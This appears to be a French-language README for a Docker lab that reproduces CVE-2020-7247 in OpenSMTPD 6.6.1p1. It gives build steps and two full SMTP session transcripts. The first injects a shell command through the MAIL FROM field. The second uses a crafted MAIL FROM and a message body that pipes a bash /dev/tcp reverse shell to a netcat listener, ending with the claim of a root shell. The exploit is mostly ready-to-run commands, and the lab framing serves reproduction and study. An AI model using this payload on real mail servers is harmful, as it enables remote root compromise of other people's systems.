
Environnement basé sur Docker pour reproduire CVE-2020-7247 (OpenSMTPD) avec un script d'exploitation Python pour l'exécution arbitraire de commandes et un shell inversé via un champ SMTP MAIL FROM spécialement conçu.
Ce dépôt contient les fichiers nécessaires pour construire une image Docker contenant un environnement vulnérable d'OpenSMTPD (6.6.1p1). La vulnérabilité permet à un attaquant d'exécuter des commandes arbitraires via une session SMTP spécialement conçue, notamment dans le champ MAIL FROM.
docker build -t opensmtpd-vuln -f Dockerfile .
docker run -it --rm --name opensmtpd-vuln-test opensmtpd-vuln /bin/bash
smtpd -dv
nix-build opensmtpd-vuln.nix
docker load < result
docker run -it --rm opensmtpd-vuln-nix /bin/bash
smtpd -dv
3.1. :
$nc 172.17.0.2 25
220 debian ESMTP OpenSMTPD
HELO toto
250 debian Hello toto [172.17.0.1], pleased to meet you
MAIL FROM:<;touch secret.txt;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
Hello Bonjour Xin chào
.
250 2.0.0 09cb8342 Message accepted for delivery
QUIT
221 2.0.0 Bye
3.2. Obtenir un shell inversé :
Configurer un écouteur :
nc -lnvp 8080
Exécuter le script exploit.py (dans un autre terminal) :
python3 exploit.py
Ou le faire manuellement :
$nc 172.17.0.2 25
220 debian ESMTP OpenSMTPD
HELO toto
250 debian Hello toto [172.17.0.1], pleased to meet you
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
250 2.0.0 Ok
RCPT TO:<[email protected]>
250 2.1.5 Destination address valid: Recipient ok
data
354 Enter mail, end with "." on a line by itself
#0
#1
#2
#3
#4
#5
#6
#7
#8
#9
#a
#b
#c
#d
sh -c 'echo "bash -i >& /dev/tcp/172.17.0.1/8080 0>&1" | bash'
.
250 2.0.0 09cb8342 Message accepted for delivery
QUIT
221 2.0.0 Bye
Vous devriez maintenant avoir un shell en tant que root sur la machine hôte.